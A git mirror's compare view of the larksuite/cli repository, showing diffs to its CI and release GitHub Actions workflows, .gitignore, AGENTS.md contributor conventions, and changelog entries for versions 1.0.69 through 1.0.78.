mirror of
https://github.com/larksuite/cli.git
synced 2026-08-03 08:32:46 +08:00
Compare commits
24 Commits
v1.0.78
...
feat/remot
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
63f78c18f7 | ||
|
|
af4fb90723 | ||
|
|
a43c456ec1 | ||
|
|
5a57092802 | ||
|
|
e2b7ef0967 | ||
|
|
2e79559ebe | ||
|
|
05e3609eb0 | ||
|
|
b740c0bd0e | ||
|
|
5f9ffab58c | ||
|
|
122c511928 | ||
|
|
c47a3d622d | ||
|
|
04e651b2ae | ||
|
|
cf4f928a8b | ||
|
|
cb8e2c58df | ||
|
|
75bdefa513 | ||
|
|
118ab4bf1e | ||
|
|
a1c3530ec9 | ||
|
|
be8356b900 | ||
|
|
5d9370ad13 | ||
|
|
a821bd0e9a | ||
|
|
7a65b43949 | ||
|
|
18d142fd51 | ||
|
|
49492e9a0c | ||
|
|
9b3b07398d |
169
.github/workflows/ci.yml
vendored
169
.github/workflows/ci.yml
vendored
@@ -1,5 +1,4 @@
|
||||
name: CI
|
||||
run-name: ${{ github.event_name == 'pull_request' && format('CI / {0}', github.event.pull_request.number) || '' }}
|
||||
|
||||
on:
|
||||
push:
|
||||
@@ -9,12 +8,6 @@ on:
|
||||
types: [opened, synchronize, reopened, edited]
|
||||
workflow_dispatch:
|
||||
|
||||
# PR metadata edits can retrigger full CI for the same head. Keep only the
|
||||
# newest run for a pull request; push and manual runs use a unique run ID.
|
||||
concurrency:
|
||||
group: ${{ github.workflow }}-${{ github.event.pull_request.number || github.run_id }}
|
||||
cancel-in-progress: ${{ github.event_name == 'pull_request' }}
|
||||
|
||||
permissions:
|
||||
contents: read
|
||||
actions: read
|
||||
@@ -54,34 +47,6 @@ jobs:
|
||||
exit 1
|
||||
fi
|
||||
|
||||
plugin-integration:
|
||||
needs: fast-gate
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd # v5
|
||||
with:
|
||||
persist-credentials: false
|
||||
- uses: actions/setup-go@4a3601121dd01d1626a1e23e37211e3254c1c06c # v6
|
||||
with:
|
||||
go-version-file: go.mod
|
||||
# No fetch_meta: the git-archive clean tree must embed only the
|
||||
# committed meta_data stub (reproduces the bare-module customer state).
|
||||
- name: Run plugin-integration L4 tests
|
||||
run: go test -count=1 -timeout=15m ./tests/plugin_e2e/...
|
||||
|
||||
sidecar-integration:
|
||||
needs: fast-gate
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd # v5
|
||||
with:
|
||||
persist-credentials: false
|
||||
- uses: actions/setup-go@4a3601121dd01d1626a1e23e37211e3254c1c06c # v6
|
||||
with:
|
||||
go-version-file: go.mod
|
||||
- name: Run sidecar tag build + HMAC round-trip
|
||||
run: make sidecar-test
|
||||
|
||||
# ── Layer 2: Quality Gate ──────────────────────────────────────────
|
||||
unit-test:
|
||||
needs: fast-gate
|
||||
@@ -211,11 +176,7 @@ jobs:
|
||||
run: python3 scripts/fetch_meta.py
|
||||
- name: Run tests with coverage
|
||||
run: |
|
||||
# tests/ holds only L3/L4 suites (cli_e2e, plugin_e2e, sidecar_e2e) that
|
||||
# have dedicated jobs; exclude the whole subtree so none of them runs a
|
||||
# second time here — and, crucially, so an observe-only suite's failure
|
||||
# can never block merges through coverage's spot in the results loop.
|
||||
packages=$(go list ./... | grep -v '^github.com/larksuite/cli/tests/')
|
||||
packages=$(go list ./... | grep -v '^github.com/larksuite/cli/tests/cli_e2e$' | grep -v '^github.com/larksuite/cli/tests/cli_e2e/')
|
||||
go test -race -coverprofile=coverage.txt -covermode=atomic $packages
|
||||
- name: Upload coverage to Codecov
|
||||
if: ${{ github.event_name != 'pull_request' || !github.event.pull_request.head.repo.fork }}
|
||||
@@ -302,11 +263,6 @@ jobs:
|
||||
e2e-dry-run:
|
||||
needs: [unit-test, lint, script-test, deterministic-gate]
|
||||
runs-on: ubuntu-latest
|
||||
timeout-minutes: 20
|
||||
outputs:
|
||||
mode: ${{ steps.e2e_domains.outputs.mode }}
|
||||
reason: ${{ steps.e2e_domains.outputs.reason }}
|
||||
live_packages: ${{ steps.e2e_domains.outputs.live_packages }}
|
||||
steps:
|
||||
- uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd # v5
|
||||
with:
|
||||
@@ -320,23 +276,6 @@ jobs:
|
||||
- name: Resolve CLI E2E domains
|
||||
id: e2e_domains
|
||||
run: node scripts/e2e_domains.js
|
||||
- name: Validate CLI E2E domain outputs
|
||||
env:
|
||||
E2E_MODE: ${{ steps.e2e_domains.outputs.mode }}
|
||||
E2E_LIVE_PACKAGES: ${{ steps.e2e_domains.outputs.live_packages }}
|
||||
run: |
|
||||
case "$E2E_MODE" in
|
||||
skip)
|
||||
[ -z "$E2E_LIVE_PACKAGES" ] || { echo "::error::Skip mode must not resolve live packages"; exit 1; }
|
||||
;;
|
||||
full|subset)
|
||||
[ -n "$E2E_LIVE_PACKAGES" ] || { echo "::error::No live packages resolved for mode $E2E_MODE"; exit 1; }
|
||||
;;
|
||||
*)
|
||||
echo "::error::Invalid CLI E2E mode: $E2E_MODE"
|
||||
exit 1
|
||||
;;
|
||||
esac
|
||||
- name: Build lark-cli
|
||||
if: ${{ steps.e2e_domains.outputs.mode != 'skip' }}
|
||||
run: make build
|
||||
@@ -370,22 +309,16 @@ jobs:
|
||||
fi
|
||||
|
||||
e2e-live:
|
||||
needs: [unit-test, lint, script-test, deterministic-gate, e2e-dry-run]
|
||||
if: ${{ always() && (github.event_name != 'pull_request' || !github.event.pull_request.head.repo.fork) && needs.unit-test.result == 'success' && needs.lint.result == 'success' && needs.script-test.result == 'success' && needs.deterministic-gate.result == 'success' && needs.e2e-dry-run.result == 'success' && (needs.e2e-dry-run.outputs.mode == 'full' || needs.e2e-dry-run.outputs.mode == 'subset') && needs.e2e-dry-run.outputs.live_packages != '' }}
|
||||
needs: [unit-test, lint, script-test, deterministic-gate]
|
||||
if: ${{ github.event_name != 'pull_request' || !github.event.pull_request.head.repo.fork }}
|
||||
runs-on: ubuntu-latest
|
||||
timeout-minutes: 30
|
||||
# Live E2E uses one repository-wide execution slot.
|
||||
concurrency:
|
||||
group: lark-cli-e2e-live
|
||||
cancel-in-progress: false
|
||||
queue: max
|
||||
permissions:
|
||||
actions: read
|
||||
contents: read
|
||||
checks: write
|
||||
env:
|
||||
TEST_BOT1_APP_ID: ${{ secrets.TEST_BOT1_APP_ID }}
|
||||
LARKSUITE_CLI_BRAND: feishu
|
||||
TEST_BOT1_APP_SECRET: ${{ secrets.TEST_BOT1_APP_SECRET }}
|
||||
TEST_USER_ACCESS_TOKEN: ${{ secrets.TEST_USER_ACCESS_TOKEN }}
|
||||
steps:
|
||||
- uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd # v5
|
||||
with:
|
||||
@@ -396,68 +329,31 @@ jobs:
|
||||
- uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405 # v6
|
||||
with:
|
||||
python-version: '3.x'
|
||||
- name: Resolve CLI E2E domains
|
||||
id: e2e_domains
|
||||
run: node scripts/e2e_domains.js
|
||||
- name: Build lark-cli
|
||||
id: build_cli
|
||||
if: ${{ steps.e2e_domains.outputs.mode != 'skip' }}
|
||||
run: make build
|
||||
- name: Prepare shared live E2E tenant token
|
||||
id: live_e2e_tat
|
||||
env:
|
||||
LARKSUITE_CLI_APP_ID: ${{ secrets.TEST_BOT1_APP_ID }}
|
||||
TEST_BOT1_APP_SECRET: ${{ secrets.TEST_BOT1_APP_SECRET }}
|
||||
run: node scripts/fetch_e2e_tat.js
|
||||
- name: Run CLI E2E tests
|
||||
# Keep an active Go test alive so t.Cleanup can finish. A queued stale
|
||||
# run is rejected below before it can start live E2E.
|
||||
if: ${{ always() && steps.build_cli.outcome == 'success' && steps.live_e2e_tat.outcome == 'success' }}
|
||||
shell: bash
|
||||
env:
|
||||
GH_TOKEN: ${{ github.token }}
|
||||
REPOSITORY: ${{ github.repository }}
|
||||
EVENT_NAME: ${{ github.event_name }}
|
||||
RUN_ID: ${{ github.run_id }}
|
||||
RUN_NUMBER: ${{ github.run_number }}
|
||||
RUN_GENERATION: ${{ github.event_name == 'pull_request' && format('CI / {0}', github.event.pull_request.number) || '' }}
|
||||
LARK_CLI_BIN: ${{ github.workspace }}/lark-cli
|
||||
E2E_MODE: ${{ needs.e2e-dry-run.outputs.mode }}
|
||||
E2E_REASON: ${{ needs.e2e-dry-run.outputs.reason }}
|
||||
E2E_LIVE_PACKAGES: ${{ needs.e2e-dry-run.outputs.live_packages }}
|
||||
E2E_TENANT_AUTH_FILE: ${{ steps.live_e2e_tat.outputs.path }}
|
||||
TEST_USER_ACCESS_TOKEN: ${{ secrets.TEST_USER_ACCESS_TOKEN }}
|
||||
- name: Configure bot credentials
|
||||
if: ${{ steps.e2e_domains.outputs.mode != 'skip' }}
|
||||
run: |
|
||||
if [ "$EVENT_NAME" = "pull_request" ]; then
|
||||
workflow_id="$(gh api "repos/$REPOSITORY/actions/runs/$RUN_ID" --jq '.workflow_id')"
|
||||
newer_runs="$(
|
||||
gh api --paginate -X GET "repos/$REPOSITORY/actions/workflows/$workflow_id/runs" \
|
||||
-f event=pull_request -f branch="$GITHUB_HEAD_REF" -f per_page=100 |
|
||||
jq -r --arg repository "$REPOSITORY" --arg generation "$RUN_GENERATION" --argjson run_number "$RUN_NUMBER" \
|
||||
'.workflow_runs[] | select(.head_repository.full_name == $repository and .display_title == $generation and .run_number > $run_number) | .id'
|
||||
)"
|
||||
if [ -n "$newer_runs" ]; then
|
||||
echo "::error::Superseded before live E2E started by newer workflow run(s): $newer_runs"
|
||||
exit 1
|
||||
fi
|
||||
fi
|
||||
if [ -z "${E2E_TENANT_AUTH_FILE:-}" ] || [ ! -f "$E2E_TENANT_AUTH_FILE" ]; then
|
||||
echo "::error::Missing shared live E2E tenant token file"
|
||||
if [ -z "$TEST_BOT1_APP_ID" ] || [ -z "$TEST_BOT1_APP_SECRET" ]; then
|
||||
echo "::error::Missing required secrets: TEST_BOT1_APP_ID / TEST_BOT1_APP_SECRET"
|
||||
exit 1
|
||||
fi
|
||||
export TEST_TENANT_ACCESS_TOKEN="$(cat "$E2E_TENANT_AUTH_FILE")"
|
||||
rm -f "$E2E_TENANT_AUTH_FILE"
|
||||
if ! LARKSUITE_CLI_APP_ID="$TEST_BOT1_APP_ID" \
|
||||
LARKSUITE_CLI_TENANT_ACCESS_TOKEN="$TEST_TENANT_ACCESS_TOKEN" \
|
||||
./lark-cli whoami --as bot | node -e '
|
||||
let input = "";
|
||||
process.stdin.setEncoding("utf8");
|
||||
process.stdin.on("data", (chunk) => { input += chunk; });
|
||||
process.stdin.on("end", () => {
|
||||
const result = JSON.parse(input);
|
||||
if (result.identity !== "bot" || result.available !== true || result.tokenStatus !== "ready") process.exit(1);
|
||||
});
|
||||
'; then
|
||||
echo "::error::Tenant credential preflight failed"
|
||||
exit 1
|
||||
printf '%s\n' "$TEST_BOT1_APP_SECRET" | ./lark-cli config init --app-id "$TEST_BOT1_APP_ID" --app-secret-stdin
|
||||
- name: Run CLI E2E tests
|
||||
env:
|
||||
LARK_CLI_BIN: ${{ github.workspace }}/lark-cli
|
||||
E2E_MODE: ${{ steps.e2e_domains.outputs.mode }}
|
||||
E2E_REASON: ${{ steps.e2e_domains.outputs.reason }}
|
||||
E2E_LIVE_PACKAGES: ${{ steps.e2e_domains.outputs.live_packages }}
|
||||
run: |
|
||||
if [ "$E2E_MODE" = "skip" ]; then
|
||||
echo "No live CLI E2E needed: $E2E_REASON"
|
||||
exit 0
|
||||
fi
|
||||
echo "Tenant credential preflight succeeded"
|
||||
packages="$E2E_LIVE_PACKAGES"
|
||||
if [ -z "$packages" ]; then
|
||||
echo "::error::No live CLI E2E packages resolved for mode $E2E_MODE"
|
||||
@@ -467,7 +363,7 @@ jobs:
|
||||
echo "Live CLI E2E packages: $packages"
|
||||
go run gotest.tools/gotestsum@v1.12.3 --rerun-fails=2 --rerun-fails-max-failures=20 --packages="$packages" --format testname --junitfile cli-e2e-report.xml -- -count=1 -v
|
||||
- name: Publish CLI E2E test report
|
||||
if: ${{ !cancelled() }}
|
||||
if: ${{ !cancelled() && steps.e2e_domains.outputs.mode != 'skip' }}
|
||||
uses: dorny/test-reporter@a43b3a5f7366b97d083190328d2c652e1a8b6aa2 # v3.0.0
|
||||
with:
|
||||
name: CLI E2E Tests
|
||||
@@ -520,7 +416,7 @@ jobs:
|
||||
# ── Results Gate (single required check for branch protection) ─────
|
||||
results:
|
||||
if: ${{ always() }}
|
||||
needs: [fast-gate, unit-test, lint, script-test, deterministic-gate, coverage, deadcode, e2e-dry-run, e2e-live, security, license-header, plugin-integration, sidecar-integration]
|
||||
needs: [fast-gate, unit-test, lint, script-test, deterministic-gate, coverage, deadcode, e2e-dry-run, e2e-live, security, license-header]
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Evaluate results
|
||||
@@ -540,19 +436,10 @@ jobs:
|
||||
echo "| L3 | e2e-live | ${{ needs.e2e-live.result }} |" >> $GITHUB_STEP_SUMMARY
|
||||
echo "| L4 | security | ${{ needs.security.result }} |" >> $GITHUB_STEP_SUMMARY
|
||||
echo "| L4 | license-header | ${{ needs.license-header.result }} |" >> $GITHUB_STEP_SUMMARY
|
||||
echo "| L4 | plugin-integration (observe-only) | ${{ needs.plugin-integration.result }} |" >> $GITHUB_STEP_SUMMARY
|
||||
echo "| L4 | sidecar-integration (observe-only) | ${{ needs.sidecar-integration.result }} |" >> $GITHUB_STEP_SUMMARY
|
||||
|
||||
# Any failure or cancellation in any job blocks the merge.
|
||||
# Legitimately skipped jobs (deadcode on push, e2e-live when not
|
||||
# needed or on a fork, license-header on push) are OK.
|
||||
#
|
||||
# plugin-integration and sidecar-integration are intentionally NOT
|
||||
# in this loop yet: they run on every PR and their status is shown
|
||||
# in the table above, but a failure is observe-only (non-blocking)
|
||||
# during the initial soak. Graduation to required is tracked in
|
||||
# https://github.com/larksuite/cli/issues/1894 (criteria: 4
|
||||
# consecutive weeks with zero false positives).
|
||||
# Legitimately skipped jobs (deadcode on push, e2e-live on fork,
|
||||
# license-header on push) are OK.
|
||||
FAILED=0
|
||||
for result in \
|
||||
"${{ needs.fast-gate.result }}" \
|
||||
|
||||
103
.github/workflows/release.yml
vendored
103
.github/workflows/release.yml
vendored
@@ -9,40 +9,7 @@ permissions:
|
||||
contents: read
|
||||
|
||||
jobs:
|
||||
preflight:
|
||||
runs-on: ubuntu-22.04
|
||||
permissions:
|
||||
contents: read
|
||||
steps:
|
||||
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4
|
||||
with:
|
||||
fetch-depth: 0
|
||||
|
||||
- uses: actions/setup-node@249970729cb0ef3589644e2896645e5dc5ba9c38 # v6
|
||||
with:
|
||||
node-version: '22.14.0'
|
||||
|
||||
- name: Validate tag and commit
|
||||
env:
|
||||
TAG: ${{ github.ref_name }}
|
||||
run: |
|
||||
set -euo pipefail
|
||||
node scripts/release-preflight.js --tag "$TAG"
|
||||
git fetch origin main
|
||||
HEAD_SHA="$(git rev-parse --verify 'HEAD^{commit}')"
|
||||
MAIN_SHA="$(git rev-parse --verify 'FETCH_HEAD^{commit}')"
|
||||
TAG_SHA="$(git rev-parse --verify "refs/tags/${TAG}^{commit}")"
|
||||
if [[ "$TAG_SHA" != "$HEAD_SHA" ]]; then
|
||||
echo "Tag ${TAG} does not resolve to the checked-out HEAD commit." >&2
|
||||
exit 1
|
||||
fi
|
||||
if ! git merge-base --is-ancestor "$HEAD_SHA" "$MAIN_SHA"; then
|
||||
echo "Tag ${TAG} does not point to a commit contained in origin/main." >&2
|
||||
exit 1
|
||||
fi
|
||||
|
||||
build-release:
|
||||
needs: preflight
|
||||
goreleaser:
|
||||
runs-on: ubuntu-22.04
|
||||
permissions:
|
||||
contents: write
|
||||
@@ -59,79 +26,35 @@ jobs:
|
||||
with:
|
||||
python-version: '3.x'
|
||||
|
||||
- uses: actions/setup-node@249970729cb0ef3589644e2896645e5dc5ba9c38 # v6
|
||||
with:
|
||||
node-version: '22.14.0'
|
||||
registry-url: 'https://registry.npmjs.org'
|
||||
package-manager-cache: false
|
||||
|
||||
- name: Install pinned npm
|
||||
run: npm install --global npm@11.16.0
|
||||
|
||||
- name: Run GoReleaser
|
||||
uses: goreleaser/goreleaser-action@e435ccd777264be153ace6237001ef4d979d3a7a # v6
|
||||
with:
|
||||
version: '~> v2'
|
||||
args: release --clean
|
||||
env:
|
||||
GITHUB_TOKEN: ${{ github.token }}
|
||||
|
||||
- name: Include release checksums
|
||||
run: |
|
||||
set -euo pipefail
|
||||
test -s dist/checksums.txt
|
||||
(cd dist && sha256sum --check checksums.txt)
|
||||
cp dist/checksums.txt checksums.txt
|
||||
|
||||
- name: Collect release asset
|
||||
run: |
|
||||
set -euo pipefail
|
||||
mkdir npm-publish-asset
|
||||
cp dist/*.tar.gz dist/*.zip dist/checksums.txt npm-publish-asset/
|
||||
|
||||
- name: Upload release asset
|
||||
uses: actions/upload-artifact@ea165f8d65b6e75b540449e92b4886f43607fa02 # v4
|
||||
with:
|
||||
name: npm-publish-asset-${{ github.run_id }}
|
||||
path: npm-publish-asset/
|
||||
if-no-files-found: error
|
||||
overwrite: true
|
||||
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
|
||||
publish-npm:
|
||||
needs: build-release
|
||||
needs: goreleaser
|
||||
runs-on: ubuntu-22.04
|
||||
environment: npm-production
|
||||
permissions:
|
||||
contents: read
|
||||
id-token: write
|
||||
steps:
|
||||
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4
|
||||
|
||||
- uses: actions/setup-node@249970729cb0ef3589644e2896645e5dc5ba9c38 # v6
|
||||
- uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4
|
||||
with:
|
||||
node-version: '22.14.0'
|
||||
node-version: '20'
|
||||
registry-url: 'https://registry.npmjs.org'
|
||||
package-manager-cache: false
|
||||
|
||||
- name: Install pinned npm
|
||||
run: npm install --global npm@11.16.0
|
||||
|
||||
- name: Download release asset
|
||||
uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # v8
|
||||
with:
|
||||
name: npm-publish-asset-${{ github.run_id }}
|
||||
path: npm-publish-asset
|
||||
|
||||
- name: Verify npm publish asset
|
||||
- name: Download checksums from release
|
||||
env:
|
||||
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
run: |
|
||||
set -euo pipefail
|
||||
(cd npm-publish-asset && sha256sum --check checksums.txt)
|
||||
cp npm-publish-asset/checksums.txt checksums.txt
|
||||
PACK_JSON="$(npm pack --ignore-scripts --json)"
|
||||
PACK_FILE="$(node -e 'const p=JSON.parse(process.argv[1]); if(p.length!==1 || !p[0].filename) process.exit(1); process.stdout.write(p[0].filename)' "$PACK_JSON")"
|
||||
test -s "$PACK_FILE"
|
||||
tar -tzf "$PACK_FILE" | grep -qx 'package/checksums.txt'
|
||||
rm "$PACK_FILE"
|
||||
TAG="${GITHUB_REF_NAME}"
|
||||
gh release download "${TAG}" --pattern checksums.txt --dir .
|
||||
test -s checksums.txt || { echo "checksums.txt missing or empty for ${TAG}"; exit 1; }
|
||||
|
||||
- name: Publish to npm
|
||||
env:
|
||||
NODE_AUTH_TOKEN: ${{ secrets.NPM_TOKEN }}
|
||||
run: npm publish --access public
|
||||
|
||||
5
.gitignore
vendored
5
.gitignore
vendored
@@ -55,3 +55,8 @@ cover*.out
|
||||
|
||||
lark-env.sh
|
||||
/automations/
|
||||
|
||||
# Local-only proof artifacts and coverage reports (never committed)
|
||||
coverage.html
|
||||
tests_e2e/
|
||||
tests_skill_eval/
|
||||
|
||||
22
AGENTS.md
22
AGENTS.md
@@ -10,10 +10,9 @@
|
||||
## Build & Test
|
||||
|
||||
```bash
|
||||
make build # Build (runs fetch_meta first)
|
||||
make unit-test # Required before PR (runs with -race where supported, e.g. amd64/arm64)
|
||||
make live-skills-test # Opt-in real Skills CLI tests; runs with isolated user directories
|
||||
make test # Full: vet + unit + integration
|
||||
make build # Build (runs fetch_meta first)
|
||||
make unit-test # Required before PR (runs with -race where supported, e.g. amd64/arm64)
|
||||
make test # Full: vet + unit + integration
|
||||
```
|
||||
|
||||
## Notification Opt-Outs
|
||||
@@ -106,20 +105,6 @@ Signatures that are easy to guess wrong:
|
||||
|
||||
Program output (JSON envelopes) goes to stdout. Progress, warnings, hints go to stderr. Mixing them corrupts pipe chains.
|
||||
|
||||
### Typed data over loose maps
|
||||
|
||||
Parse `map[string]interface{}` into a typed struct at the boundary — one projection function per shape — and let everything downstream consume struct fields, not string keys. A typo'd map key compiles fine and fails at runtime, which an agent then debugs blind.
|
||||
|
||||
Use distinct types when two values could be swapped silently: see `internal/meta.Token` — a bare string compiles on either side of a string/string signature, a distinct type does not.
|
||||
|
||||
Legacy loose-map code exists in older paths. Match its call sites when touching it, but do not copy the pattern into new code.
|
||||
|
||||
### Transcribe faithfully — no silent fallbacks
|
||||
|
||||
When code echoes input onward (request previews, transformations, proxies), transcribe verbatim. A `default:` branch that coerces unrecognized input into a plausible value ("unknown HTTP verb → GET") makes the output lie, and an agent reasons from the lie.
|
||||
|
||||
The same rule applies to flag combinations and internal wiring: if a requested option cannot be honored, return a typed validation error — never silently substitute another behavior and exit 0. Silent guesses (defaulting a missing identity, discarding writes on a nil writer) are bugs even when every current caller happens to avoid them.
|
||||
|
||||
### Use `vfs.*` instead of `os.*`
|
||||
|
||||
All filesystem access goes through `internal/vfs`. This enables test mocking.
|
||||
@@ -131,7 +116,6 @@ CLI arguments are untrusted (they come from AI agents). Call `validate.SafeInput
|
||||
### Tests
|
||||
|
||||
- Every behavior change needs a test alongside the change.
|
||||
- A contract test must fail if the implementation is reverted. If you can undo the code change and the suite stays green, the contract is not pinned — assert the new field/behavior directly, not a happy-path substring.
|
||||
- `cmdutil.TestFactory(t, config)` for test factories.
|
||||
- `t.Setenv("LARKSUITE_CLI_CONFIG_DIR", t.TempDir())` to isolate config state.
|
||||
|
||||
|
||||
256
CHANGELOG.md
256
CHANGELOG.md
@@ -2,253 +2,6 @@
|
||||
|
||||
All notable changes to this project will be documented in this file.
|
||||
|
||||
## [v1.0.78] - 2026-07-27
|
||||
|
||||
### Features
|
||||
|
||||
- event description support rich text (#1975)
|
||||
|
||||
### Bug Fixes
|
||||
|
||||
- **slides**: restrict canvas overflow checks
|
||||
- **slides**: upgrade text overflow to error above 10px threshold
|
||||
- **slides**: detect letterSpacing-driven text overflow
|
||||
- **slides**: downgrade background-decoration text overflow to info
|
||||
- **slides**: allow chartParsedValues roundtrip tag
|
||||
- refine character width estimation for lark-slides text lint
|
||||
- **slides**: preserve info lint severity
|
||||
- **slides**: text may over flow shape
|
||||
- exempt ghost text from slides lint
|
||||
|
||||
## [v1.0.77] - 2026-07-24
|
||||
|
||||
### Features
|
||||
|
||||
- introducing official card icon (#1973)
|
||||
- **apps**: validate +file-list --page-size against server (0, 200] range (#2007)
|
||||
- **apps**: support absolute and relative upload paths (#2005)
|
||||
- **slides**: fill xml-schema-quick-ref gaps that forced XSD fallback (#2026)
|
||||
- **slides**: add layout density lint for sparse/empty containers (#2022)
|
||||
- add risk-control protection (#1910)
|
||||
|
||||
### Bug Fixes
|
||||
|
||||
- **slides**: normalize presentation flag aliases (#2032)
|
||||
- **base**: classify +form-submit as high-risk-write (#1969)
|
||||
- **slides**: declare screenshot scope
|
||||
- **slides**: support CSV multi-value for --slide-id in screenshot (#2047)
|
||||
|
||||
### Documentation
|
||||
|
||||
- **skill**: clarify scope handling for query expansion (#2030)
|
||||
- **base**: clarify complete and partial updates (#1993)
|
||||
- **skills**: clarify callout child rules (#2048)
|
||||
|
||||
### Misc
|
||||
|
||||
- fix/task id handling (#2023)
|
||||
- fix/task search pagination (#2041)
|
||||
|
||||
## [v1.0.75] - 2026-07-22
|
||||
|
||||
### Features
|
||||
|
||||
- add okr single create shortcut & skill text opti (#1941)
|
||||
- **calendar**: auto-add bot self as attendee and note user-only search (#1991)
|
||||
|
||||
### Bug Fixes
|
||||
|
||||
- **base**: improve table shortcut behavior & guidance (#1803)
|
||||
- issue#1935 & whiteboard shortcut reformat (#1980)
|
||||
- remove legacy shortcut (#1997)
|
||||
- **e2e**: inject shared credentials by identity (#1995)
|
||||
|
||||
### Documentation
|
||||
|
||||
- **skill**: describe html5 block xml usage (#1380)
|
||||
- clarify fetch metadata and user cites (#1981)
|
||||
- add topic move collector workflow (#1473)
|
||||
- update lark doc HTML size limit (#2001)
|
||||
- **base**: align record write schema guidance (#2000)
|
||||
|
||||
### Tests
|
||||
|
||||
- **e2e**: declare request identities explicitly (#2004)
|
||||
|
||||
### Misc
|
||||
|
||||
- harden npm release publishing (#1918)
|
||||
|
||||
## [v1.0.74] - 2026-07-21
|
||||
|
||||
### Features
|
||||
|
||||
- **slides**: add history rollback shortcuts (#1714)
|
||||
- **base**: support per-record batch updates (#1889)
|
||||
|
||||
### Bug Fixes
|
||||
|
||||
- preserve slides schema issues
|
||||
- allow jq examples in quality gate dry-runs
|
||||
- **im**: warn when flag pagination is truncated (#1906)
|
||||
- **slides**: warn on text shape overflow
|
||||
- **slides**: exempt chart roundtrip attributes from lint
|
||||
- **slides**: detect image text occlusion
|
||||
- **slides**: clarify xml-text-overlap-lint error for positional argument (#1986)
|
||||
|
||||
### Documentation
|
||||
|
||||
- clarify drive upload overwrite guidance (#1982)
|
||||
|
||||
### Tests
|
||||
|
||||
- isolate unit tests from user state (#1883)
|
||||
|
||||
### Refactoring
|
||||
|
||||
- converge success output through a single Emitter that owns the write (#1899)
|
||||
|
||||
## [v1.0.73] - 2026-07-20
|
||||
|
||||
### Features
|
||||
|
||||
- **apps**: design_html support, creative-design skill, unified TOS publish (#1901)
|
||||
|
||||
### Bug Fixes
|
||||
|
||||
- **slides**: detect visual elements outside canvas
|
||||
- reduce public content credential fixture false positives
|
||||
- standardize CLI shortcut text in English (#1942)
|
||||
|
||||
### Documentation
|
||||
|
||||
- **base**: reduce filter and update retry loops (#1879)
|
||||
- **vc**: default transcript routing to smart notes over minutes (#1961)
|
||||
- clarify local trigger automation (#1958)
|
||||
|
||||
### Tests
|
||||
|
||||
- synchronize temporary Git maintenance (#1946)
|
||||
|
||||
### Misc
|
||||
|
||||
- **slides**: update lark-slides skill to 0715 snapshot (#1933)
|
||||
- [codex] support bot menu events (#1765)
|
||||
|
||||
## [v1.0.72] - 2026-07-17
|
||||
|
||||
### Features
|
||||
|
||||
- **slides**: lint table out of canvas
|
||||
- **slides**: report resolved table size mismatches
|
||||
- **approval**: support approval event consumption (#1924)
|
||||
|
||||
### Bug Fixes
|
||||
|
||||
- **vc**: don't fail +detail for in-progress meetings (#1930)
|
||||
- stabilize drive delete E2E terminal-state checks (#1939)
|
||||
|
||||
### Documentation
|
||||
|
||||
- **slides**: document table dimensions
|
||||
- document base field default values (#1500)
|
||||
- **sheets**: use English placeholder in table-get guidance (#1936)
|
||||
|
||||
### Tests
|
||||
|
||||
- stabilize live e2e auth retries (#1904)
|
||||
- use tri-state wiki node identity in delete verification (#1931)
|
||||
- fix drive cover download retries (#1934)
|
||||
|
||||
## [v1.0.71] - 2026-07-16
|
||||
|
||||
### Features
|
||||
|
||||
- add wiki move-to-drive shortcut (#1869)
|
||||
- **apps**: add role management shortcuts (#1881)
|
||||
- **drive**: add secure label support and clarify comment location API (#1913)
|
||||
|
||||
### Bug Fixes
|
||||
|
||||
- **base**: improve dashboard shortcut guidance (#1787)
|
||||
|
||||
### Documentation
|
||||
|
||||
- **apps**: add platform SQL authoring guide to the db-execute skill (#1912)
|
||||
|
||||
### Misc
|
||||
|
||||
- add L4 plugin-integration and sidecar-integration CI jobs (#1840)
|
||||
- **drive**: optimize drive +delete workflow (#1909)
|
||||
|
||||
## [v1.0.70] - 2026-07-15
|
||||
|
||||
### Features
|
||||
|
||||
- add minutes permission application shortcut (#1876)
|
||||
- **drive**: support apps in list comments (#1877)
|
||||
- slide style
|
||||
- edit ppt template
|
||||
- **slides**: add sxsd validation to slides lint
|
||||
- **slides**: validate iconpark icon types in slides lint
|
||||
- **slides**: lint before create
|
||||
- **apps**: add automation trigger commands for Miaoda (#1886)
|
||||
|
||||
### Bug Fixes
|
||||
|
||||
- unify dry-run output contract (#1870)
|
||||
- **skills**: align skill guidance with the typed error contract (#1786)
|
||||
- **slides**: limit slides screenshot page requests
|
||||
- **slides**: detect lark slides text overflow overlap
|
||||
- **vc**: align meeting query scopes by identity (#1850)
|
||||
|
||||
### Documentation
|
||||
|
||||
- clarify task search relevance filters (#1884)
|
||||
- surface minutes permission application in skill description (#1890)
|
||||
- clarify okr progress children (#1861)
|
||||
- **slides**: prefer slides xml-get shortcut
|
||||
- **calendar**: document setting meeting owner via full API (#1903)
|
||||
|
||||
### Refactoring
|
||||
|
||||
- **slides**: streamline create workflow and validate SML namespaces
|
||||
|
||||
### Misc
|
||||
|
||||
- **slides**: address PR review feedback
|
||||
|
||||
## [v1.0.69] - 2026-07-13
|
||||
|
||||
### Features
|
||||
|
||||
- support docs fetch selection anchors (#1815)
|
||||
- **apps**: support modern_html app type with TOS publish path and app type querying
|
||||
- **im**: show bot sender display names when reading messages (#1829)
|
||||
- add drive list comments shortcut (#1845)
|
||||
- support wiki sources in drive export (#1802)
|
||||
- add application domain with slash command management shortcuts (#1806)
|
||||
- validate IM idempotency key length (#1797)
|
||||
- surface reply context and mentions in im.message.receive_v1 (#1798)
|
||||
|
||||
### Bug Fixes
|
||||
|
